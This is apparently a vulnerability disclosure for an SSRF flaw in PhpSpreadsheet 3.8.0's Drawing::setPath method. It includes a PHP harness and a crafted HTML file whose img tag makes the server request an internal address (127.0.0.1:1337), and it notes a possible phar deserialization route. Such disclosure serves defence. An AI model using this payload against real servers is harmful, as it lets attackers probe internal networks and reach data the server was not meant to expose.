PhpSpreadsheet vulnerable to SSRF when reading and displaying a processed HTML document in the browser
Product: PhpSpreadsheet
Version: 3.8.0
CWE-ID: CWE-918: Server-Side Request Forgery (SSRF)
CVSS vector v.3.1: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
CVSS vector v.4.0: 8.7 (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N)
Description: SSRF occurs when a processed HTML document is read and displayed in the browser
Impact: Server-Side Request Forgery
Vulnerable component: the PhpOffice\PhpSpreadsheet\Worksheet\Drawing class, setPath method
Exploitation conditions: getting a string from the user that is passed to the HTML reader
Mitigation: improved processing of the $path variable of the setPath method of the PhpOffice\PhpSpreadsheet\Worksheet\Drawing class is needed
Researcher: Aleksey Solovev (Positive Technologies)
# Research
The researcher discovered zero-day vulnerability Server-Side Request Forgery (SSRF) (in the setPath method of the PhpOffice\PhpSpreadsheet\Worksheet\Drawing class) in Phpspreadsheet.
The latest version (3.8.0) of the phpoffice/phpspreadsheet library was installed. Below are the details of the installation:
*Listing 1. Installing the phpoffice/phpspreadsheet library*
```
$ composer require phpoffice/phpspreadsheet --prefer-source
```
The code that processes the HTML string with further rendering and displaying the result in the browser.
*Listing 2. Executable file index.php using the PhpSpreadsheet library*
```
<?php
require __DIR__ . '/vendor/autoload.php';
$inputFileType = 'Html';
$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader($inputFileType);
$inputFileName = './doc/file.html';
$spreadsheet = $reader->load($inputFileName);
$writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet);
print($writer->generateHTMLAll());
```
Also, the ./doc/file.html has the following content: the img tag with the src attribute, which contains the value http:// 127.0.0.1:1337
*Listing 3. The ./doc/file.html file*
```
<table>
<tr>
<img src="http://127.0.0.1:1337">
</tr>
</table>
```
The vulnerability lies in the setPath method of the PhpOffice\PhpSpreadsheet\Worksheet\Drawing class.
Figure 1. The PhpOffice\PhpSpreadsheet\Worksheet\Drawing class, setPath method.
Figure 2 below demonstrates the SSRF vulnerability exploitation.
Figure 2. Demonstration of the SSRF vulnerability exploitation
Also, there is code on line 154 that could potentially be used by an attacker to perform unsafe deserialization via the phar archive and the file_exists method.
Figure 3. Opportunity to perform phar deserialization
_____________________________________________
Please, assign all credits to: Aleksey Solovev (Positive Technologies)
# Credit
Aleksey Solovev (Positive Technologies)
